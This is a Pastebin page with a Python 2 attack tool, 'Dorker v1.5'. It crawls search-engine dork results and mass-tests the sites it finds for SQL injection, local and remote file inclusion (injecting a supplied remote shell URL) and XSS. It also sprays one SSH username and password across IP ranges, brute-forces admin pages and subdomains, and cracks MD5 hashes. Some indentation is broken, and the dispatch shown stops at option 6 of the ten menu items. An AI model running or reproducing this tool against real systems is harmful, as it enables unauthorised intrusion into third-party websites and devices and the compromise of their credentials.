Advertisement
ahmadhy

googledrok.py

Feb 20th, 2018
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 29.64 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import re
  3. import hashlib
  4. import Queue
  5. from random import choice
  6. import threading
  7. import time
  8. import urllib2
  9. import sys
  10. import socket
  11. try:
  12.     import paramiko
  13.     PARAMIKO_IMPORTED = True
  14. except ImportError:
  15.     PARAMIKO_IMPORTED = False
  16. USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3",
  17.              "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
  18.              "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  19.              "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
  20.              "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)",
  21.       "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6",
  22.       "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3"
  23.             ]
  24. option = ' '
  25. vuln = 0
  26. invuln = 0
  27. np = 0
  28. found = []
  29.  
  30. class Router(threading.Thread):
  31.     """Checks for routers running ssh with given User/Pass"""
  32.     def __init__(self, queue, user, passw):
  33.         if not PARAMIKO_IMPORTED:
  34.             print 'You need paramiko.'
  35.             print 'http://www.lag.net/paramiko/'
  36.             sys.exit(1)
  37.         threading.Thread.__init__(self)
  38.         self.queue = queue
  39.         self.user = user
  40.         self.passw = passw
  41.  
  42.     def run(self):
  43.         """Tries to connect to given Ip on port 22"""
  44.         ssh = paramiko.SSHClient()
  45.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  46.         while True:
  47.             try:
  48.                 ip_add = self.queue.get(False)
  49.             except Queue.Empty:
  50.                 break
  51.             try:
  52.                 ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10)
  53.                 ssh.close()
  54.                 print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw)
  55.                 write = open('Routers.txt', "a+")
  56.                 write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw))
  57.                 write.close()
  58.                 self.queue.task_done()
  59.             except:
  60.                 print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw)
  61.                 self.queue.task_done()
  62.                
  63.            
  64. class Ip:
  65.     """Handles the Ip range creation"""
  66.     def __init__(self):
  67.         self.ip_range = []
  68.         self.start_ip = raw_input('Start ip: ')
  69.         self.end_ip = raw_input('End ip: ')
  70.         self.user = raw_input('User: ')
  71.         self.passw = raw_input('Password: ')
  72.         self.iprange()
  73.      
  74.     def iprange(self):
  75.         """Creates list of Ip's from Start_Ip to End_Ip"""
  76.         queue = Queue.Queue()
  77.         start = list(map(int, self.start_ip.split(".")))
  78.         end = list(map(int, self.end_ip.split(".")))
  79.         tmp = start
  80.      
  81.         self.ip_range.append(self.start_ip)
  82.         while tmp != end:
  83.             start[3] += 1
  84.             for i in (3, 2, 1):
  85.                 if tmp[i] == 256:
  86.                     tmp[i] = 0
  87.                     tmp[i-1] += 1
  88.             self.ip_range.append(".".join(map(str, tmp)))
  89.      
  90.         for add in self.ip_range:
  91.             queue.put(add)
  92.         for i in range(10):
  93.             thread = Router(queue, self.user, self.passw )
  94.             thread.setDaemon(True)
  95.             thread.start()
  96.         queue.join()
  97.  
  98. class Crawl:
  99.     """Searches for dorks and grabs results"""
  100.     def __init__(self):
  101.         if option == '4':
  102.             self.shell = str(raw_input('Shell location: '))
  103.         self.dork = raw_input('Enter your dork: ')
  104.         self.queue = Queue.Queue()
  105.         self.pages = raw_input('How many pages(Max 20): ')
  106.         self.qdork = urllib2.quote(self.dork)
  107.         self.page = 1
  108.         self.crawler()
  109.  
  110.     def crawler(self):
  111.         """Crawls Ask.com for sites and sends them to appropriate scan"""
  112.         print '\nDorking...'
  113.         for i in range(int(self.pages)):
  114.             host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page)
  115.             req = urllib2.Request(host)
  116.             req.add_header('User-Agent', choice(USER_AGENT))
  117.             response = urllib2.urlopen(req)
  118.             source = response.read()
  119.             start = 0
  120.             count = 1
  121.             end = len(source)
  122.             numlinks = source.count('_t" href', start, end)
  123.  
  124.             while count < numlinks:
  125.                 start = source.find('_t" href', start, end)
  126.                 end = source.find(' onmousedown="return pk', start,  end)
  127.                 link = source[start+10:end-1].replace("amp;","")
  128.                 self.queue.put(link)
  129.                 start = end
  130.                 end = len(source)
  131.                 count = count + 1
  132.             self.page += 1
  133.         if option == '1':
  134.             for i in range(10):
  135.                 thread = ScanClass(self.queue)
  136.                 thread.setDaemon(True)
  137.                 thread.start()
  138.             self.queue.join()
  139.         elif option == '2':
  140.             for i in range(10):
  141.                 thread = LScanClass(self.queue)
  142.                 thread.setDaemon(True)
  143.                 thread.start()
  144.             self.queue.join()
  145.         elif option == '3':
  146.             for i in range(10):
  147.                 thread = XScanClass(self.queue)
  148.                 thread.setDaemon(True)
  149.                 thread.start()
  150.             self.queue.join()
  151.         elif option == '4':
  152.             for i in range(10):
  153.                 thread = RScanClass(self.queue, self.shell)
  154.                 thread.setDaemon(True)
  155.                 thread.start()
  156.             self.queue.join()
  157.  
  158. class ScanClass(threading.Thread):
  159.     """Scans for Sql errors and ouputs to file"""
  160.     def __init__(self, queue):
  161.         threading.Thread.__init__(self)
  162.         self.queue = queue
  163.         self.schar = "'"
  164.         self.file = 'sqli.txt'
  165.  
  166.     def run(self):
  167.         """Scans Url for Sql errors"""
  168.         while True:
  169.             try:
  170.                 site = self.queue.get(False)
  171.             except Queue.Empty:
  172.                 break
  173.             if '=' in site:
  174.                 global vuln
  175.                 global invuln
  176.                 global np
  177.                 test = site + self.schar
  178.                 try:
  179.                     conn = urllib2.Request(test)
  180.                     conn.add_header('User-Agent', choice(USER_AGENT))
  181.                     opener = urllib2.build_opener()
  182.                     data = opener.open(conn).read()
  183.                 except:
  184.                     self.queue.task_done()
  185.                 else:
  186.                     if (re.findall("error in your SQL syntax", data, re.I)):
  187.                         self.mysql(test)
  188.                         vuln += 1
  189.                     elif (re.findall('oracle.jdbc.', data, re.I)):
  190.                         self.mssql(test)
  191.                         vuln += 1
  192.                     elif (re.findall('system.data.oledb', data, re.I)):
  193.                         self.mssql(test)
  194.                         vuln += 1
  195.                     elif (re.findall('SQL command net properly ended', data, re.I)):
  196.                         self.mssql(test)
  197.                         vuln += 1
  198.                     elif (re.findall('atoracle.jdbc.', data, re.I)):
  199.                         self.mssql(test)
  200.                         vuln += 1
  201.                     elif (re.findall('java.sql.sqlexception', data, re.I)):
  202.                         self.mssql(test)
  203.                         vuln += 1
  204.                     elif (re.findall('query failed:', data, re.I)):
  205.                         self.mssql(test)
  206.                         vuln += 1
  207.                     elif (re.findall('postgresql.util.', data, re.I)):
  208.                         self.mssql(test)
  209.                         vuln += 1
  210.                     elif (re.findall('mysql_fetch', data, re.I)):
  211.                         self.mysql(test)
  212.                         vuln += 1
  213.                     elif (re.findall('Error:unknown', data, re.I)):
  214.                         self.mysql(test)
  215.                         vuln += 1
  216.                     elif (re.findall('JET Database Engine', data, re.I)):
  217.                         self.mssql(test)
  218.                         vuln += 1
  219.                     elif (re.findall('Microsoft OLE DB Provider for', data, re.I)):
  220.                         self.mssql(test)
  221.                         vuln += 1
  222.       elif (re.findall('mysql_numrows', data, re.I)):
  223.                         self.mysql(test)
  224.                         vuln += 1
  225.       elif (re.findall('mysql_num', data, re.I)):
  226.                         self.mysql(test)
  227.                         vuln += 1
  228.       elif (re.findall('Invalid Query', data, re.I)):
  229.                         self.mysql(test)
  230.                         vuln += 1
  231.       elif (re.findall('FetchRow', data, re.I)):
  232.                         self.mysql(test)
  233.                         vuln += 1
  234.                     elif (re.findall('JET Database', data, re.I)):
  235.                         self.mssql(test)
  236.                         vuln += 1
  237.                     elif (re.findall('OLE DB Provider for', data, re.I)):
  238.                         self.mssql(test)
  239.                         vuln += 1
  240.                     elif (re.findall('Syntax error', data, re.I)):
  241.                         self.mssql(test)
  242.                         vuln += 1
  243.                     else:
  244.                         print B+test + W+' <-- Not Vuln'
  245.                         invuln += 1
  246.             else:
  247.                 print R+site + W+' <-- No Parameters'
  248.                 np += 1
  249.             self.queue.task_done()
  250.  
  251.     def mysql(self, url):
  252.         """Proccesses vuln sites into text file and outputs to screen"""
  253.         read = open(self.file, "a+").read()
  254.         if url in read:
  255.             print G+'Dupe: ' + W+url
  256.         else:
  257.             print O+"MySql: " + url + W
  258.             write = open(self.file, "a+")
  259.             write.write('[SQLI]: ' + url + "\n")
  260.             write.close()
  261.     def mssql(self, url):
  262.         """Proccesses vuln sites into text file and outputs to screen"""
  263.         read = open(self.file).read()
  264.         if url in read:
  265.             print G+'Dupe: ' + url + W
  266.         else:
  267.             print O+"MsSql: " + url + W
  268.      write = open (self.file, "a+")
  269.             write.write('[SQLI]: ' + url + "\n")
  270.             write.close()  
  271.  
  272. class LScanClass(threading.Thread):
  273.     """Scans for Lfi errors and outputs to file"""
  274.     def __init__(self, queue):
  275.         threading.Thread.__init__(self)
  276.         self.file = 'lfi.txt'
  277.         self.queue = queue
  278.         self.lchar = '../'
  279.      
  280.     def run(self):
  281.         """Checks Url for File Inclusion errors"""
  282.         while True:
  283.             try:
  284.                 site = self.queue.get(False)
  285.             except Queue.Empty:
  286.                 break
  287.             if '=' in site:
  288.                 lsite = site.rsplit('=', 1)[0]
  289.                 if lsite[-1] != "=":
  290.                     lsite = lsite + "="
  291.                 test = lsite + self.lchar
  292.                 global vuln
  293.                 global invuln
  294.                 global np
  295.                 try:
  296.                     conn = urllib2.Request(test)
  297.                     conn.add_header('User-Agent', choice(USER_AGENT))
  298.                     opener = urllib2.build_opener()
  299.                     data = opener.open(conn).read()
  300.                 except:
  301.                     self.queue.task_done()
  302.                 else:
  303.                     if (re.findall("failed to open stream: No such file or directory", data, re.I)):
  304.                         self.lfi(test)
  305.                         vuln += 1
  306.                     else:
  307.                         print B+test + W+' <-- Not Vuln'
  308.                         invuln += 1
  309.             else:
  310.                 print R+site + W+' <-- No Parameters'
  311.                 np += 1
  312.             self.queue.task_done()
  313.  
  314.     def lfi(self, url):
  315.         """Proccesses vuln sites into text file and outputs to screen"""
  316.         read = open(self.file, "a+").read()
  317.         if url in read:
  318.             print G+'Dupe: ' + url + W
  319.         else:
  320.             print O+"Lfi: " + url + W
  321.             write = open(self.file, "a+")
  322.             write.write('[LFI]: ' + url + "\n")
  323.             write.close()    
  324.  
  325. class XScanClass(threading.Thread):
  326.     """Scan for Xss errors and outputs to file"""
  327.     def __init__(self, queue):
  328.         threading.Thread.__init__(self)
  329.         self.queue = queue
  330.         self.xchar = """<ScRIpT>alert('xssBYCranky');</ScRiPt>"""
  331.         self.file = 'xss.txt'
  332.  
  333.     def run(self):
  334.         """Checks Url for possible Xss"""
  335.         while True:
  336.             try:
  337.                 site = self.queue.get(False)
  338.             except Queue.Empty:
  339.                 break
  340.             if '=' in site:
  341.                 global vuln
  342.                 global invuln
  343.                 global np
  344.                 xsite = site.rsplit('=', 1)[0]
  345.                 if xsite[-1] != "=":
  346.                     xsite = xsite + "="
  347.                 test = xsite + self.xchar
  348.                 try:
  349.                     conn = urllib2.Request(test)
  350.                     conn.add_header('User-Agent', choice(USER_AGENT))
  351.                     opener = urllib2.build_opener()
  352.                     data = opener.open(conn).read()
  353.                 except:
  354.                     self.queue.task_done()
  355.                 else:
  356.                     if (re.findall("xssBYCranky", data, re.I)):
  357.                         self.xss(test)
  358.                         vuln += 1
  359.                     else:
  360.                         print B+test + W+' <-- Not Vuln'
  361.                         invuln += 1
  362.             else:
  363.                 print R+site + W+' <-- No Parameters'
  364.                 np += 1
  365.             self.queue.task_done()
  366.  
  367.     def xss(self, url):
  368.         """Proccesses vuln sites into text file and outputs to screen"""
  369.         read = open(self.file, "a+").read()
  370.         if url in read:
  371.             print G+'Dupe: ' + url + W
  372.         else:
  373.             print O+"Xss: " + url + W
  374.             write = open(self.file, "a+")
  375.             write.write('[XSS]: ' + url + "\n")
  376.             write.close()  
  377.  
  378. class RScanClass(threading.Thread):
  379.     """Scans for Rfi errors and outputs to file"""
  380.     def __init__(self, queue, shell):
  381.         threading.Thread.__init__(self)
  382.         self.queue = queue
  383.         self.file = 'rfi.txt'
  384.         self.shell = shell
  385.  
  386.     def run(self):
  387.         """Checks Url for Remote File Inclusion vulnerability"""
  388.         while True:
  389.             try:
  390.                 site = self.queue.get(False)
  391.             except Queue.Empty:
  392.                 break
  393.             if '=' in site:
  394.                 global vuln
  395.                 global invuln
  396.                 global np
  397.                 rsite = site.rsplit('=', 1)[0]
  398.                 if rsite[-1] != "=":
  399.                     rsite = rsite + "="
  400.                 link = rsite + self.shell + '?'
  401.                 try:
  402.                     conn = urllib2.Request(link)
  403.                     conn.add_header('User-Agent', choice(USER_AGENT))
  404.                     opener = urllib2.build_opener()
  405.                     data = opener.open(conn).read()
  406.                 except:
  407.                     self.queue.task_done()
  408.                 else:
  409.                     if (re.findall('uname -a', data, re.I)):
  410.                         self.rfi(link)
  411.                         vuln += 1
  412.                     else:
  413.                         print B+link + W+' <-- Not Vuln'
  414.                         invuln += 1
  415.             else:
  416.                 print R+site + W+' <-- No Parameters'
  417.                 np += 1    
  418.             self.queue.task_done()
  419.  
  420.     def rfi(self, url):
  421.         """Proccesses vuln sites into text file and outputs to screen"""
  422.         read = open(self.file, "a+").read()
  423.         if url in read:
  424.             print G+'Dupe: ' + url + W
  425.         else:
  426.             print O+"Rfi: " + url + W
  427.             write = open(self.file, "a+")
  428.             write.write('[Rfi]: ' + url + "\n")
  429.             write.close()    
  430.  
  431. class Atest(threading.Thread):
  432.     """Checks given site for Admin Pages/Dirs"""
  433.     def __init__(self, queue):
  434.         threading.Thread.__init__(self)
  435.         self.queue = queue
  436.  
  437.     def run(self):
  438.         """Checks if Admin Page/Dir exists"""
  439.         while True:
  440.             try:
  441.                 site = self.queue.get(False)
  442.             except Queue.Empty:
  443.                 break
  444.             try:
  445.                 conn = urllib2.Request(site)
  446.                 conn.add_header('User-Agent', choice(USER_AGENT))
  447.                 opener = urllib2.build_opener()
  448.                 opener.open(conn)
  449.                 print site
  450.                 found.append(site)
  451.                 self.queue.task_done()
  452.  
  453.             except urllib2.URLError:
  454.                 self.queue.task_done()
  455.  
  456. def admin():
  457.     """Create queue and threads for admin page scans"""
  458.     print 'Need to include http:// and ending /\n'
  459.     site = raw_input('Site: ')
  460.     queue  = Queue.Queue()
  461.     dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/',
  462.             'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php',
  463.             'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html',
  464.             'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php',
  465.             'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp',
  466.             'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html',
  467.             'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php',
  468.             'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html',
  469.             'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
  470.             'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html',
  471.             'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html',
  472.             'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html',
  473.             'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html',
  474.             'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html',
  475.             'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html',
  476.             'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 'panel-administracion/login.php',
  477.             'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php',
  478.             'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php',
  479.             'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
  480.    
  481.     for add in dirs:
  482.         test = site + add
  483.         queue.put(test)
  484.        
  485.     for i in range(20):
  486.         thread = Atest(queue)
  487.         thread.setDaemon(True)
  488.         thread.start()
  489.     queue.join()
  490. def aprint():
  491.     """Print results of admin page scans"""
  492.     print 'Search Finished\n'
  493.     if len(found) == 0:
  494.         print 'No pages found'
  495.     else:
  496.         for site in found:
  497.             print O+'Found: ' + G+site + W
  498.      
  499. class SDtest(threading.Thread):
  500.     """Checks given Domain for Sub Domains"""
  501.     def __init__(self, queue):
  502.         threading.Thread.__init__(self)
  503.         self.queue = queue
  504.  
  505.     def run(self):
  506.         """Checks if Sub Domain responds"""
  507.         while True:
  508.             try:
  509.                 domain = self.queue.get(False)
  510.             except Queue.Empty:
  511.                 break
  512.             try:
  513.                 site = 'http://' + domain
  514.                 conn = urllib2.Request(site)
  515.                 conn.add_header('User-Agent', choice(USER_AGENT))
  516.                 opener = urllib2.build_opener()
  517.                 opener.open(conn)
  518.             except urllib2.URLError:
  519.                 self.queue.task_done()
  520.             else:
  521.                 target = socket.gethostbyname(domain)
  522.                 print 'Found: ' + site + ' - ' + target
  523.                 self.queue.task_done()     
  524. def subd():
  525.     """Create queue and threads for sub domain scans"""
  526.     queue = Queue.Queue()
  527.     site = raw_input('Domain: ')
  528.     sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca",
  529.             "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro",
  530.             "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana",
  531.             "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange",
  532.             "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford",
  533.             "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d",
  534.             "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa",  "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil",
  535.             "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere",
  536.             "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research",
  537.             "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping",
  538.             "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads",
  539.             "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1",
  540.             "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"]
  541.     for check in sub:
  542.         test = check + '.' + site
  543.         queue.put(test)
  544.        
  545.     for i in range(20):
  546.         thread = SDtest(queue)
  547.         thread.setDaemon(True)
  548.         thread.start()
  549.     queue.join()
  550.  
  551. class Cracker(threading.Thread):
  552.     """Use a wordlist to try and brute the hash"""
  553.     def __init__(self, queue, hashm):
  554.         threading.Thread.__init__(self)
  555.         self.queue = queue
  556.         self.hashm = hashm
  557.     def run(self):
  558.         """Hash word and check against hash"""
  559.         while True:
  560.             try:
  561.                 word = self.queue.get(False)
  562.             except Queue.Empty:
  563.                 break
  564.             tmp = hashlib.md5(word).hexdigest()
  565.             if tmp == self.hashm:
  566.                 self.result(word)  
  567.             self.queue.task_done()
  568.     def result(self, words):
  569.         """Print result if found"""
  570.         print self.hashm + ' = ' + words
  571. def word():
  572.     """Create queue and threads for hash crack"""
  573.     queue = Queue.Queue()
  574.     wordlist = raw_input('Wordlist: ')
  575.     hashm = raw_input('Enter Md5 hash: ')
  576.     read = open(wordlist)
  577.     for words in read:
  578.         words = words.replace("\n","")
  579.         queue.put(words)     
  580.     read.close()
  581.     for i in range(5):
  582.         thread = Cracker(queue, hashm)
  583.         thread.setDaemon(True)
  584.         thread.start()
  585.     queue.join()
  586.  
  587. class OnlineCrack:
  588.     """Use online service to check for hash"""
  589.     def crack(self):
  590.         """Connect and check hash"""
  591.         hashm = raw_input('Enter MD5 Hash: ')
  592.         conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm))
  593.         conn.add_header('User-Agent', choice(USER_AGENT))
  594.         opener = urllib2.build_opener()
  595.         opener.open(conn)
  596.         data = opener.open(conn).read()
  597.         if data == 'No results returned.':
  598.             print '\n- Not found or not valid -'
  599.         else:
  600.             print '\n- %s -' % (data)
  601.  
  602. class Check:
  603.     """Check your current IP address"""
  604.     def grab(self):
  605.         """Connect to site and grab IP"""
  606.         site = 'http://www.tracemyip.org/'
  607.         try:
  608.             conn = urllib2.Request(site)
  609.             conn.add_header('User-Agent', choice(USER_AGENT))
  610.             opener = urllib2.build_opener()
  611.             opener.open(conn)
  612.             data = opener.open(conn).read()
  613.             start = 0
  614.             end = len(data)
  615.             start = data.find('onclick="', start, end)
  616.             end = data.find('size=', start, end)  
  617.             ip_add = data[start+46:end-2].strip()
  618.             print '\nYour current Ip address is %s' % (ip_add)
  619.        
  620.         except urllib2.HTTPError:
  621.             print 'Error connecting'
  622.    
  623. def output():
  624.     """Outputs dork scan results to screen"""
  625.     print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W
  626.     print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W
  627.     print '>> ' + str(np) + R+' Sites Without Parameters' + W
  628.     if option == '1':
  629.         print '>> Output Saved To sqli.txt\n'
  630.     elif option == '2':
  631.         print '>> Output Saved To lfi.txt'
  632.     elif option == '3':
  633.         print '>> Output Saved To xss.txt'
  634.     elif option == '4':
  635.         print '>> Output Saved To rfi.txt'
  636.  
  637. W  = "\033[0m";
  638. R  = "\033[31m";
  639. G  = "\033[32m";
  640. O  = "\033[33m";
  641. B  = "\033[34m";
  642. def main():
  643.     """Outputs Menu and gets input"""
  644.     quotes = [
  645. '\nprohexuh@gmail.com\n'
  646.         ]
  647.     print (O+'''
  648. -------------
  649. -- Dorker --
  650. --- v1.5 ----
  651. ---- by -----
  652. --- Cranky ----
  653. -------------''')
  654.     print (G+'''
  655. -[1]-  SQLi
  656. -[2]-  LFI
  657. -[3]-  XSS
  658. -[4]-  RFI
  659. -[5]-  Proxy
  660. -[6]-  Admin Page Finder
  661. -[7]-  Sub Domain Scan
  662. -[8]-  Dictionary MD5 cracker
  663. -[9]-  Online MD5 cracker
  664. -[10]- Check your IP address''')
  665.     print (B+'''
  666. -[!]- If freeze while running or want to quit,
  667. just Ctrl C, it will automatically terminate the job.
  668. ''')
  669.     print W
  670.     global option
  671.     option = raw_input('Enter Option: ')
  672.  
  673.     if option:
  674.         if option == '1':
  675.             Crawl()
  676.             output()
  677.             print choice(quotes)
  678.            
  679.         elif option == '2':
  680.             Crawl()
  681.             output()
  682.             print choice(quotes)
  683.  
  684.         elif option == '3':
  685.             Crawl()
  686.             output()
  687.             print choice(quotes)
  688.  
  689.         elif option == '4':
  690.             Crawl()
  691.             output()
  692.             print choice(quotes)
  693.    
  694.         elif option == '5':
  695.             Ip()
  696.             print choice(quotes)
  697.  
  698.         elif option == '6':
  699.             admin()
  700.             aprint()
  701.             print choice(quotes)
